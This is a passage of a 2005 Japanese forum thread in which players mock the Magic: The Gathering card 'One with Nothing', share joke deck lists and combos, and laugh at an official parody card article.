710 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 12:27:39 ID:iebkWoYB
虚空自身は打つと自分が虚空になれる
711 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 13:26:21 ID:Zh7ZneDB
アイスの棒サイカ。
712 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 13:47:52 ID:LtfIL2Pd
天秤にレスポンスすれば超強い！
713 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 13:55:27 ID:zItUEIyO
>>712
超、とは言わないけど、かなりあり得る選択肢だよな。
714 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 14:02:29 ID:mBma7RFe
天秤を撃たれたことが無いんだが。
715 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 14:09:04 ID:Nz4OVLwM
そうか・・・若いねぇ
おじさんも年取ったってことかな・・・昔は（以下略
716 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 14:11:17 ID:788VC7BI
マインドスレイバーでコントロール奪って撃つ
717 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 14:13:38 ID:1yre56Fx
レスポンス?
ソーサリーじゃなかったっけ
718 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 15:14:41 ID:SGXptOws
Mindslaver / 精神隷属器
(6) 伝説のアーティファクト

(4),(T),精神隷属器を生け贄に捧げる：プレイヤー１人を対象とし、
そのプレイヤーの次のターンをあなたがコントロールする。

（あなたはそのプレイヤーが見ることのできるすべての
カードを見て、そのプレイヤーのすべての決定を行う。
そのプレイヤーはマナ・バーンによってライフを失わない）
719 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 16:14:13 ID:CLBqSclv
ピットサイクルで採用してみた。

魂の饗宴撃つ
↓
空虚自身撃つ
↓
レスポンスでスカージの使い魔の能力起動、手札を全部捨てて黒マナ大量発生
↓
空虚自身解決、魂の饗宴解決
↓
ヨーグモスの取引き起動、カードを引く
↓
以下、繰り返し

なかなか強いよ、空虚自身。
720 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 16:16:35 ID:EUqXI8t7
>>719
お前頭良いな
721 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 16:44:52 ID:ZhBQCHn3
意味なくね？
722 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 16:47:10 ID:LyPyisKr
空虚自身いらんじゃん。
つか、真面目に空虚自身デッキってないの？　ウィズダムで空虚自身デッキが存在する、とか爆言吐いてた香具師がいたが。
723 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 16:55:12 ID:CLBqSclv
ネタ書いたあとにマジレスすると、現段階では不可能だと思われ。
まぁ、近々偏頭痛の逆バージョンみたいな感じのものが出るかもしれんから、それを待つほうがいい。
724 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 16:55:49 ID:3+Q7S/2P
「想像上のペット」デッキならおｋ
725 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 16:58:27 ID:Nz4OVLwM
罠の橋と呪われた巻物で・・・
ポックス・スクロール？
726 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 16:59:24 ID:1vu6Mf5P
大水招き→にんにん→棘バット*3の忍者→氏された俺がきましたよ。
空虚自身って精神爆弾に似てるな。
精神爆弾は青デッキが黒の万力＆吠えたける鉱山から逃げるために使ってたが、
空虚自身も同じような使い方なんじゃね。
マローがアイスエイジあたりのカードエイプ・鉱山・バイス・冬珠ライクなデッキが使える環境が来るっていうよーなこと言ってたし。
727 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 17:08:22 ID:1V5cKMTQ
現行スタンじゃ逃げる物が黒壇梟の根付と仇麻呂くらいしかありません＞＜
728 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 17:34:16 ID:q9fX3398
エクテンだったら《朽ちゆくインプ/Putrid Imp(TOR)》とか《ゾンビの横行/Zombie Infestation(OD)》とか使う品

究極の糞レアには違いない
《臣下の義務/Vassal's Duty(CHK)》が強いカードに見える
729 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 17:37:43 ID:Nz4OVLwM
普通に使うと損する上、コンボにもとても使えそうに無い
もしかしてあの蒼ざめた月を越えるクソレアかもしれない
730 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 19:24:58 ID:rFx5YZY8
　 　　　　 |
　 　＼　　__　　／
　 　＿　（ｍ）　＿ﾋﾟｺｰﾝ
　 　　　　|ミ|
　 　 ／ 　｀´　 ＼そうだ、手札を《空虚自身》１枚だけにしてから使えば
　　　　　('A`)　 　デメリットは無効化出来るはずだ…
　　　　　ノヽノヽ
　　　　　　　くく
731 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 19:26:44 ID:Nz4OVLwM
デメリットはなくなってるが、効果もなくなってるよ・・・
732 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 19:30:44 ID:crJPeBJI
一撃でスレッショするぜ
733 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 19:31:31 ID:crJPeBJI
マッドネスしまくるぜ
734 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 19:40:17 ID:IL2/uHuT
闇の疑惑＋空虚自身
735 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 19:48:52 ID:JR0aqZo0
空虚自身＋罠の橋
736 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 19:50:56 ID:q9fX3398
つ《帰化/Naturalize(8ED)》
737 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 19:59:31 ID:XQY922zJ
・空虚自身デッキ

4 《空虚自身/One with Nothing》
4 《等時の王笏/Isochron Scepter》
4 《寄付/Donate》
4 《精神隷属器/Mindslaver》
4 《マイアの回収者/Myr Retriever》
4 《鏡割りのキキジキ/Kiki-Jiki, Mirror Breaker》
4 《永遠の証人/Eternal Witness》
他テキトー

《等時の王笏/Isochron Scepter》に《空虚自身/One with Nothing》を刻印、
その後に《寄付/Donate》してあげて、《精神隷属器/Mindslaver》で相手のドローフェイズ
の終わり毎に《空虚自身/One with Nothing》。
《精神隷属器/Mindslaver》はウィットネスか回収者をキキジキで毎ターンコピーして使い回す。


かなり無理矢理だが、《臣下の義務/Vassal's Duty》よりは使い道あるだろ？

738 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 20:02:42 ID:Z4Sg3fGV
まてw毎ターンスレイバー回せてる時点で勝ってるだろw
739 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 20:02:54 ID:DwEVYHSu
>>737
ネズミ＋キキジキデッキと比較したときの
あまりの下位互換っぷりに全米が泣いた。
740 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 21:20:48 ID:0MBI8dnt
>>729
空虚自身が２マナならあるいは・・・
741 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 21:48:05 ID:LyPyisKr
空虚自身さ、弱い理由はこれに変わるカードがどこにでもいくらでもあるってことなんだよね。
いやいやそんなに手札捨てたけりゃさ、知識の渇望とか留まらぬ発想とか、色々あんじゃん。青だけどさ。すでにこの時点で空虚自身に拘る意味が蚊ほどにもない。
それともなにか？　一ターン目にデカブツ捨てて、二ターン目に呼ぶという伝説の納墓コンボが現行スタンダードで可能だとか考えているんじゃあるまいな？
無理無理。大体何使って呼ぶの？　御霊の復讐？　つかそれって、激ゴッドなハンドに恵まれつつエンド時にリムーブされることも想定しつつ、きっちりしっかりアドバンテージ叩き出すことを計算してるってことだよな？
そこまでできる優秀な香具師っているか？　今の環境に。せいぜいクロウか否命がいいとこなんじゃないか？　馬鹿クサ。どんだけ電波だ空虚自身。
とりあえず俺的結論では、空虚自身はデザインされた理由がわからない。大体のカスレアは俺がデッキにしてやるが、こればっかりは無理。デッキ構築権おまいらに譲るよ。臣下の義務以来の問題児だなこりゃ。
742 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 21:52:02 ID:KVlcS7Do
これだけ物議をかもした時点で彼は充分仕事をしたよ
743 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 21:54:03 ID:44NZ8a2M
>>737
《臣下の義務》は姫とコンボできるよ。
744 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 21:58:35 ID:QivXWwv0
相手のロボトミーに対応して狡猾な願いで持ってくる
745 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 21:58:39 ID:RGzEawST
>>741
問題児とは、我々に問題を投げかけてくれる貴重な子どものことなのですよ。
746 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 22:00:54 ID:CLiUQvCo
２マナにすればトレイリアの風。アーティファクトにすればライオンの瞳のダイヤモンド。
空虚自身はリアニやスレッショルドとかじゃなくて１マナインスタントで手札が空になることに価値を見出すしかない。
747 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 22:01:11 ID:CLBqSclv
結局、釣りとして最強カードだったと。

ちなむと、近所のショップのシングルではなぜか値段が上がっていた。
答えはラヴニカにあるのだろうか？
748 ：エンバーワイルドのジン：2005/07/07(木) 22:04:40 ID:Nz4OVLwM
高値がついているからといって、それが本当に良い品だとはかぎらない
749 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 22:14:32 ID:LyPyisKr
でも値上がりするってことはさ、一時的にでも誰かが買い求めたってことじゃないのか？　裏を返すと。
つまるところそいつは、空虚自身を集めることに喜びを感じるヲタクカード収集家か、ささぬーを超える最強の地雷デッキビルダーかのどちらかだろう。
是非デッキをさらしてもらいたいもんだ。後者のほうなら。ヲタなら同類を探して達者でやってくれ。

＞結局、釣りとして最強カードだったと。
全くそのとおりだ。俺もつい踊らされてしまったよ。
ウィザーズもなかなかにくいことをするよな。わざわざ貴重なレア枠と優秀なデザイナーに支払う報酬を犠牲にしてさ。
アメリカ人のギャグはスケールがデカイというけど、まさにそれを象徴しているかのようなカードだな。
神河救済の最終テストプレイで空虚自身が収録されるよう最後まで推し続けた人物は相当なやり手社員に違いない。間違いなく出世頭だな。以降のカードデザインチームにも是非積極的に参加して欲しい。
750 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 22:19:13 ID:IvfsKF4W
ふつうに赤マロ対策だろ。
751 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 22:20:11 ID:Nz4OVLwM
しかし、手札の枚数や相手との枚数差がキーになるカードが多い中でその真逆のカードがデザインされて、
更にそれを推し続けた人物がいるって、個人はともかく開発チームとしてはどうなのよ
752 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 22:21:12 ID:4/27CJY4
手札すてたあとに7枚ひけてたらあるいは・・・
753 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 22:23:38 ID:UnoTXySa
朽ちゆく巨人を維持するためのキーカードなのではないでしょうか。
754 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 22:25:14 ID:drTXoYP1
《空虚自身》はどうしようもない虚無感を体現した芸術的なカードだと思う
戦術的にまるで無意味だけどなｗ
755 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 22:29:19 ID:Nz4OVLwM
黄昏の呼び声や生ける屍にレスポンスで打つ・・・
使い道をどう考えてもトレイリアの風に取って変られるのだが
756 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 22:33:45 ID:q9fX3398
臣下の義務→伝説生物守ったりミチコとコンボになる
蒼ざめた月→相手が多色だったら1T何もプレイ出来ないかも知れない

全然糞レアじゃなくね?

空虚自身と比べたら
757 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 22:42:26 ID:Nz4OVLwM
蒼ざめた月は”かも知れない”って時点で相当駄目だが
758 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 22:44:50 ID:3fEBpSev
空虚自身は1マナで大峨の世捨てをタップさせるカード。
759 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 22:52:31 ID:8e3Am/an
でも空虚自身よりマシだろ
760 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 23:06:48 ID:2UKvHIHM
ラヴニカで「あなたの手札にカードが１枚もない場合ゲームに勝利する」というカードがでて一躍トップレアに！！！









・・・そのデッキでも使われない気がする
761 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 23:13:04 ID:EUqXI8t7
そんな安直な訳ないだろ。
「あなたがカードを引くたび、あなたの手札が１枚もない場合、あなたはゲームに勝利する」ぐらいのことはやってくれる。



使われないだろうが。
762 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 23:15:29 ID:1V5cKMTQ
「あなたがカードを捨てるたび対象の対戦相手はカードを1枚捨てる」なら。






きっと誰も使わんね
763 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 23:17:23 ID:2UKvHIHM
というか、おまけ効果がある《安らぎ/Peace of Mind》とかのほうが・・・
764 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 23:25:24 ID:f0wtebGr
空虚自身は開発陣が全部わかった上で作ってるんだから
ネタにするほどじゃない。釣り糸に掛かるようなもん。

臣下の義務や蒼ざめた月は天然で作ってるからネタになる。
765 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 23:36:12 ID:0705Y2BO
せめて捨てるカード選択できれば良かったのに
766 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 23:40:37 ID:0MBI8dnt
>>756
一応マッドネスカードとコンボる。
インスタント且つ１マナで手札をここまで棄てれるカードはさすがに他には無いからな。

蒼ざめた月は対戦相手に依存するから、その点と２マナって部分を評価したいな。
767 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 23:46:54 ID:sS5pB4Mj
1ターン目
渦巻く知識プレイ
モックスプレイ
空虚自身プレイ
2ターン目
死体発掘or溶接工
とかは？
768 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 23:55:42 ID:uJupqjFS
つ朽ちゆくインプ
769 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 23:55:59 ID:1V5cKMTQ
そこまで回るんだったら別に空虚自身打たなくｔ（ｒｙ
770 ：名無しプレイヤー＠手札いっぱい。：2005/07/07(木) 23:58:45 ID:hTJRhRuw
「好きな数だけカードを捨てる」だったら使う気になれなくもないのに。
771 ：名無しプレイヤー＠手札いっぱい。：2005/07/08(金) 00:32:25 ID:yKxXkpEQ
>>770
それでも《朽ちゆくインプ/Putrid Imp》より遥かに弱い・・・

インプはインスタントタイミングで好きな枚数だけ、好きな順番で捨てられる上に、
普通に1/1クリーチャーだし、スレショまであるというのに。
772 ：名無しプレイヤー＠手札いっぱい。：2005/07/08(金) 00:34:39 ID:05hR80NQ
青パルス落とせるからそれでいいじゃないか。
773 ：名無しプレイヤー＠手札いっぱい。：2005/07/08(金) 00:39:05 ID:aB2ff5E9
アンヒンジドに組み込まれる予定だったが、何かの手違いで・・・
とかじゃねえの
774 ：名無しさん＠お腹いっぱい。：2005/07/08(金) 02:12:27 ID:wjlFzr6q
Illusions of Grandeurみたいに、5年後くらいに
神のコンボカードが出てくるんだよ。
775 ：名無しプレイヤー＠手札いっぱい。：2005/07/08(金) 02:31:48 ID:Lt/1BYEE
ダメランが復活したら､ただでさえネタカードな第二の儀式がますます使いづらくなるじゃねーか！
776 ：名無しプレイヤー＠手札いっぱい。：2005/07/08(金) 02:44:37 ID:5G6PZAMp
…そうだね
777 ：名無しプレイヤー＠手札いっぱい。：2005/07/08(金) 03:16:00 ID:s0ViGp9B
てか普通に、リアニメート呪文唱えてレスポンスで空虚自身撃てば釣ってこれるんじゃないの？
778 ：名無しプレイヤー＠手札いっぱい。：2005/07/08(金) 03:51:37 ID:VWGmP0nG
対象を取らないリアニメート呪文じゃないと無理ぽ
779 ：名無しプレイヤー＠手札いっぱい。：2005/07/08(金) 07:09:56 ID:oZ/KOHxq
何より他のカードでも同じ事できるしな。
780 ：名無しプレイヤー＠手札いっぱい。：2005/07/08(金) 07:38:28 ID:UenevTs7
朽ちゆくインプやトレイリアの風の方が良いという状況では駄目だからな
781 ：名無しプレイヤー＠手札いっぱい。：2005/07/08(金) 07:39:48 ID:oMAQixKL
相手が序盤に打つ意外な授かり物に対処できるぞ
782 ：名無しプレイヤー＠手札いっぱい。：2005/07/08(金) 08:23:18 ID:60VPqRTk
まあ、あれだ。
天秤系のサイクルカードが出るんだよ、たぶん。
なんたらの誓いとか。
783 ：名無しプレイヤー＠手札いっぱい。：2005/07/08(金) 08:48:07 ID:epH4U3tS
ウルザズサーガに入ってたらメインで使われることもあったかもしれないカードだな。
784 ：名無しプレイヤー＠手札いっぱい。：2005/07/08(金) 08:53:05 ID:XflPd+h7
あなたが空虚自身をプレイした時～とかいうカードでも無い限り、使われる事は無いな
785 ：光戦隊ソンシマン・姿長官 ◆D9GWLUrkUo ：2005/07/08(金) 09:20:13 ID:s0ViGp9B
オーラパワーがあれば空虚自身を使いこなせる！
786 ：名無しプレイヤー＠手札いっぱい。：2005/07/08(金) 16:48:01 ID:715juxVJ
同じ1マナインスタントのDemonic Consultationだって最初はクレイジーだって思われてた
みたいけど使われるようになった

空虚自身も同じ1マナインスタント
つまり（ｒｙ
787 ：名無しプレイヤー＠手札いっぱい。：2005/07/08(金) 16:50:37 ID:OCLXlGIJ
最初クレイジーだと言われて、今に至ってもずっとクレイジーなままのカードの方が圧倒的に多いわけだが
788 ：名無しプレイヤー＠手札いっぱい。：2005/07/08(金) 17:14:37 ID:rUSwB00O
テフェリーの反応が1500円の時もあったねｗ
789 ：名無しプレイヤー＠手札いっぱい。：2005/07/08(金) 17:34:49 ID:+uvvX/5q
当時は《リシャーダの港/Rishadan Port》がうざかったからな。ランデスもいたし。

《摘出/Extract》は未だにあんな高くなったのかわけわからん。
790 ：光戦隊ソンシマン・姿長官 ◆D9GWLUrkUo ：2005/07/08(金) 17:39:07 ID:s0ViGp9B
ははは、イソクロに刻印して毎ターン墓地にカードを落としまくる超絶デッキの時代だな。

桜族の長老　　　　４　　低マナ圏が薄いので採用
アカデミーの学長　４　　サーチ
空虚自身　　　　　４　　イソクロで毎ターン手札を０にする
暗黒への突入　　　２　　サーチ
オアリムの詠唱　　２　　ウィニー相手の時にイソクロに刻印して時間を稼ぐ
神の怒り　　　　　４　　吹っ飛ばして時間を稼ぐ
魂の饗宴　　　　　３　　時間稼ぎ兼勝負を急ぐ
真の木立ち　　　　４　　サーチ兼保護
闇の疑惑　　　　　４　　空虚自身で手札を捨てて毎ターン相手のライフをたくさん削る
極悪な死　　　　　１　　相手がウィニーでやばくなったらサーチしてきて時間を稼ぐ
等時の王笏　　　　４　　刻印して連発
土地　　　　　　２４

適当に作ったから勝手に補強・修正してくれ
791 ：名無しプレイヤー＠手札いっぱい。：2005/07/08(金) 17:40:38 ID:3St0Xfxr
何この紙の束
792 ：名無しプレイヤー＠手札いっぱい。：2005/07/08(金) 17:41:14 ID:ds/RE7AF
>>790
デッキはともかく

セプターに空虚自身とは、なかなか
793 ：名無しプレイヤー＠手札いっぱい。：2005/07/08(金) 17:46:50 ID:UenevTs7
>>790
まず空虚自身をトレイリアの風に変えよう
問題無く刻印出来る品
794 ：名無しプレイヤー＠手札いっぱい。：2005/07/08(金) 17:47:03 ID:rYimdbAI
融合帽のことも思い出して下さい・・・
795 ：名無しプレイヤー＠手札いっぱい。：2005/07/08(金) 17:47:37 ID:OCLXlGIJ
ゾンビの横行でも使っとけ
796 ：光戦隊ソンシマン・姿長官 ◆D9GWLUrkUo ：2005/07/08(金) 17:49:22 ID:s0ViGp9B
>>793
そしたら闇の疑惑使えん
797 ：名無しプレイヤー＠手札いっぱい。：2005/07/08(金) 17:51:37 ID:V7WHvyLP
オアリムの詠唱とセプター入ってるならそのままロックすりゃいいじゃんかよ…。
798 ：光戦隊ソンシマン・姿長官 ◆D9GWLUrkUo ：2005/07/08(金) 17:51:42 ID:s0ViGp9B
>>794
ははは、そんなカードがあったか
799 ：名無しプレイヤー＠手札いっぱい。：2005/07/08(金) 18:36:12 ID:lb+Km7OS
ちゃんと馬鹿コテにレスして。みんなやさしいな。
800 ：名無しプレイヤー＠手札いっぱい。：2005/07/08(金) 18:45:08 ID:yszvyiZn
空虚自身に関する話題は全てネタと解りきってるからな
801 ：名無しプレイヤー＠手札いっぱい。：2005/07/08(金) 18:45:58 ID:6JLbyG1+
あれ？《想像上のペット》は？
802 ：名無しプレイヤー＠手札いっぱい。：2005/07/08(金) 18:47:56 ID:rYimdbAI
ああ、それはラースの奈落張りまくりで結構
相手もロックできるし
803 ：名無しプレイヤー＠手札いっぱい。：2005/07/08(金) 18:48:54 ID:rYimdbAI
底なしの奈落だった(´・ω:;.:...
804 ：名無しプレイヤー＠手札いっぱい。：2005/07/08(金) 20:38:29 ID:9JOrtzy4
　　　　　 　 　 　┌─────────
　ヾ( ﾟдﾟ)ﾉ"　　 ＜　シナチクザウルスー
　 　＼ ＼ 　　　 └───/|─────
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　　　　　 ＼　　　　　　　／
　　　　　　　∪∪￣∪∪ 　　　
805 ：名無しプレイヤー＠手札いっぱい。：2005/07/08(金) 20:59:47 ID:hTBynG6v
手札がイマイチなとき青パルスに対応して空虚自身打つとかどうよ
806 ：名無しプレイヤー＠手札いっぱい。：2005/07/08(金) 21:03:29 ID:onjt0n7i
　　　　　 　 　 　┌─────────
　ヾ( ﾟдﾟ)ﾉ"　　 ＜　>>805は天才
　 　＼ ＼ 　　　 └───/|─────
　　　　＼ ＼＿＿＿＿__／/
　　　　　 ＼　　　　　　　／
　　　　　　　∪∪￣∪∪ 　　　
807 ：名無しプレイヤー＠手札いっぱい。：2005/07/08(金) 21:31:21 ID:3rsHQuAI
>>805
むしろ相手の青パルスに対応して打てば戻ってこないぞ。
808 ：名無しプレイヤー＠手札いっぱい。：2005/07/08(金) 21:42:29 ID:z/C34ZJ4
1マナインスタントでｽﾚｯｼｮﾙﾄ達成するカードこれしかないよ。
809 ：名無しプレイヤー＠手札いっぱい。：2005/07/08(金) 21:43:02 ID:yszvyiZn
0マナアーティファクトにはあるけどな
810 ：名無しプレイヤー＠手札いっぱい。：2005/07/08(金) 21:44:09 ID:7OH9TdUU
3ライフか黒マナか
811 ：名無しプレイヤー＠手札いっぱい。：2005/07/08(金) 21:46:09 ID:yszvyiZn
>>808-810
だけど1ターン目先行だと土地置く必要があるから墓地には６枚しかないぜ？
ライオンの瞳のダイアモンドならその心配もないさ
812 ：名無しプレイヤー＠手札いっぱい。：2005/07/08(金) 21:48:04 ID:z/C34ZJ4
ミラーリでコピーしまくって・・・
813 ：名無しプレイヤー＠手札いっぱい。：2005/07/08(金) 22:06:16 ID:3St0Xfxr
相手のデッキに仕込んで（ここがポイント！）マインドスレイヴァーで撃たせる。マジ最強
814 ：名無しプレイヤー＠手札いっぱい。：2005/07/08(金) 22:12:41 ID:yszvyiZn
（´-`）.｡oO(相手が黒マナ出せなかったらどうするんだろう・・・）
815 ：名無しプレイヤー＠手札いっぱい。：2005/07/08(金) 22:18:53 ID:HxCOeBkN
ドリームホールをドネイトするに決まってるだろ（・∀・）
816 ：名無しプレイヤー＠手札いっぱい。：2005/07/08(金) 22:19:55 ID:Lt/1BYEE
おまえはどこのインセクター羽蛾だ。
817 ：名無しプレイヤー＠手札いっぱい。：2005/07/08(金) 22:23:09 ID:yszvyiZn
>>815
ドリームホールは寄付しなくても自分が出せば相手も使えるだろ？
それでも相手に黒のカードが他に必要なので結局プレイできないんじゃ？

と、ネタにマジレス
818 ：名無しプレイヤー＠手札いっぱい。：2005/07/08(金) 22:24:22 ID:0Qalb3T/
相手のデッキに仕込むなら、
ジャッジにデッキリスト確認させれば夢のゼロターンキルだぞ
819 ：名無しプレイヤー＠手札いっぱい。：2005/07/08(金) 22:39:37 ID:8GvjrhV1
天界の曙光をドネイト？
820 ：名無しプレイヤー＠手札いっぱい。：2005/07/08(金) 22:41:46 ID:yszvyiZn
マイコシンスの格子なら寄付不要
821 ：名無しプレイヤー＠手札いっぱい。：2005/07/08(金) 22:46:28 ID:6JLbyG1+
セプターに刻印してドネイトしてマインドスレイバー
822 ：名無しプレイヤー＠手札いっぱい。：2005/07/08(金) 22:48:35 ID:y9Xr11io
すごくうむ棚議論gあ続いてるな
823 ：名無しプレイヤー＠手札いっぱい。：2005/07/08(金) 22:59:55 ID:qybeDI2H
１）まず「空虚自身」を丸めて細い筒状にします。
２）筒状にした「空虚自身」を対戦相手の尿道口に差込みます。
３）水分を吸った「空虚自身」が対戦相手の体内で膨張します。
824 ：名無しプレイヤー＠手札いっぱい。：2005/07/08(金) 23:03:36 ID:he/lsUbB
ヴィダルケンの宇宙儀+ウヨウ+よじれた忠義+精神隷属器+空虚自身+マナ漏出を使えば、インスタントタイミングで相手だけ手札全捨てできるよ。
しかもスタンダードで可能。
スゲェ!
825 ：名無しプレイヤー＠手札いっぱい。：2005/07/08(金) 23:03:44 ID:wVNr7wVq
(((( ；ﾟДﾟ)))ｶﾞｸｶﾞｸﾌﾞﾙﾌﾞﾙ
826 ：名無しプレイヤー＠手札いっぱい。：2005/07/08(金) 23:09:13 ID:yszvyiZn
>>824
夜陰明神を使えば、インスタントタイミングで相手だけ手札全捨てできるよ。
しかもスタンダードで可能。
スゲェ!
827 ：名無しプレイヤー＠手札いっぱい。：2005/07/08(金) 23:10:46 ID:he/lsUbB
あれ・・・
828 ：名無しプレイヤー＠手札いっぱい。：2005/07/08(金) 23:22:04 ID:yszvyiZn
あーでもウヨウがいるから土地総数が偶数なら一人ゲドンも達成できるのか
奇数でも１枚のこるだけだし
829 ：名無しプレイヤー＠手札いっぱい。：2005/07/08(金) 23:23:23 ID:y9Xr11io
>>824
マナ漏出より卑下のほうがよい
830 ：名無しプレイヤー＠手札いっぱい。：2005/07/08(金) 23:33:38 ID:2jcOWdlN
一人プレイしている時、何気なく撃つのに最適のスペル。
それが空虚自身クオリティ。
831 ：名無しプレイヤー＠手札いっぱい。：2005/07/09(土) 00:38:14 ID:UG5Dt/6J
実は罠の橋が落ちたのは空虚自身のせい。
832 ：名無しプレイヤー＠手札いっぱい。：2005/07/09(土) 00:44:04 ID:4HI/B6X/
　そ　れ　だ　！
833 ：名無しプレイヤー＠手札いっぱい。：2005/07/09(土) 00:54:24 ID:y5QS/Mwo
>>831
ということはエクテンが要注目ですね
834 ：名無しプレイヤー＠手札いっぱい。：2005/07/09(土) 00:58:26 ID:78C6KPDj
http://www.wizards.com/default.asp?x=mtgcom/daily/af74

Busy Work
UR
Instant
Choose a color. Flip a coin. Shuffle your library.

Test of Conduct
1BB
Sorcery
Each player discards two cards, then each player that complained about having to discard cards discards two more cards.
835 ：名無しプレイヤー＠手札いっぱい。：2005/07/09(土) 01:02:41 ID:yT4wxOoH
Comfortable Chairは個人的には使われたくないなあ
836 ：名無しプレイヤー＠手札いっぱい。：2005/07/09(土) 01:07:03 ID:y5QS/Mwo
マナバーンしまくれば数ターン後には負けてるさ
837 ：名無しプレイヤー＠手札いっぱい。：2005/07/09(土) 01:11:29 ID:y5QS/Mwo
Maro's Shadeは今話題の空虚自身と相性ピッタリじゃね？
838 ：名無しプレイヤー＠手札いっぱい。：2005/07/09(土) 01:12:18 ID:oFZMwdC4
Maro's Shade
1BG
Creature ? Elemental Zombie
*/*
CARDNAME's power and toughness are each equal to the number of bad cards in your library.

やったな空虚自身
839 ：名無しプレイヤー＠手札いっぱい。：2005/07/09(土) 01:19:40 ID:4HI/B6X/
嘘くせー
絶対ガセだろこれ
840 ：名無しプレイヤー＠手札いっぱい。：2005/07/09(土) 01:20:47 ID:I3N/ElPr
英語読めないのかお前さんは
841 ：名無しプレイヤー＠手札いっぱい。：2005/07/09(土) 01:37:58 ID:78C6KPDj
嘘も何も公式の記事なんだがな
842 ：名無しプレイヤー＠手札いっぱい。：2005/07/09(土) 01:42:12 ID:8En56x3w
http://www.wizards.com/default.asp?x=mtgcom/daily/af74
843 ：名無しプレイヤー＠手札いっぱい。：2005/07/09(土) 03:21:03 ID:dcnl83Yu
公式の「ありえねーカードリスト」じゃねーかこれｗｗｗ
その意味では空虚自身もありえねーカードなわけだが。
844 ：名無しプレイヤー＠手札いっぱい。：2005/07/09(土) 04:12:30 ID:3M++q6wp
《狂気の瀬戸際/Brink of Madness(UL)》を置いてだな

いやなんでもない
845 ：名無しプレイヤー＠手札いっぱい。：2005/07/09(土) 09:14:56 ID:Rs+iuNOP
ほんとせめて自分の好きなカードを捨てるだったらまだ使い道があったのに……。
846 ：名無しプレイヤー＠手札いっぱい。：2005/07/09(土) 09:58:23 ID:pEi8pL07
ラブニカなのに麻呂がでるっておかしくねーか？
いくらラヴニカが人種のるつぼの世界だからって、神河のやつが出てくるのは激しく違和感がある
847 ：名無しプレイヤー＠手札いっぱい。：2005/07/09(土) 10:04:21 ID:y5QS/Mwo
もし>>838の事を言ってるなら、テキストを訳してみろ
で、>>842のリンク先をよく読んで、>>843の意味をよく考えろ
もし違ったら、ラブニカに麻呂が入るソースを出せ
848 ：名無しプレイヤー＠手札いっぱい。：2005/07/09(土) 10:23:59 ID:pEi8pL07
>>847
ネタだったのか。早とちりすまん
849 ：名無しプレイヤー＠手札いっぱい。：2005/07/09(土) 10:25:24 ID:IMC4eDhJ
bad cardsの時点で気付けよ
850 ：名無しプレイヤー＠手札いっぱい。：2005/07/09(土) 12:08:08 ID:C3ikP/rS
こんな馬鹿と普段雑談してたんだな
851 ：名無しプレイヤー＠手札いっぱい。：2005/07/09(土) 12:19:56 ID:jamqQkJ8
http://honyakuinfoseek.infoseek.co.jp/amitext/indexUTF8.jsp?langpair=EN%2CJA&lang=JA&toolbar=yes&c_id=honyakuinfoseek&translate=%e3%80%80%e7%bf%bb%e8%a8%b3%e3%80%80&sourceText=Cards+That+Will+Never+Be
852 ：名無しプレイヤー＠手札いっぱい。：2005/07/09(土) 12:35:53 ID:XWrrJzgf
俺も失望。
バカでもいいから利口になれ。
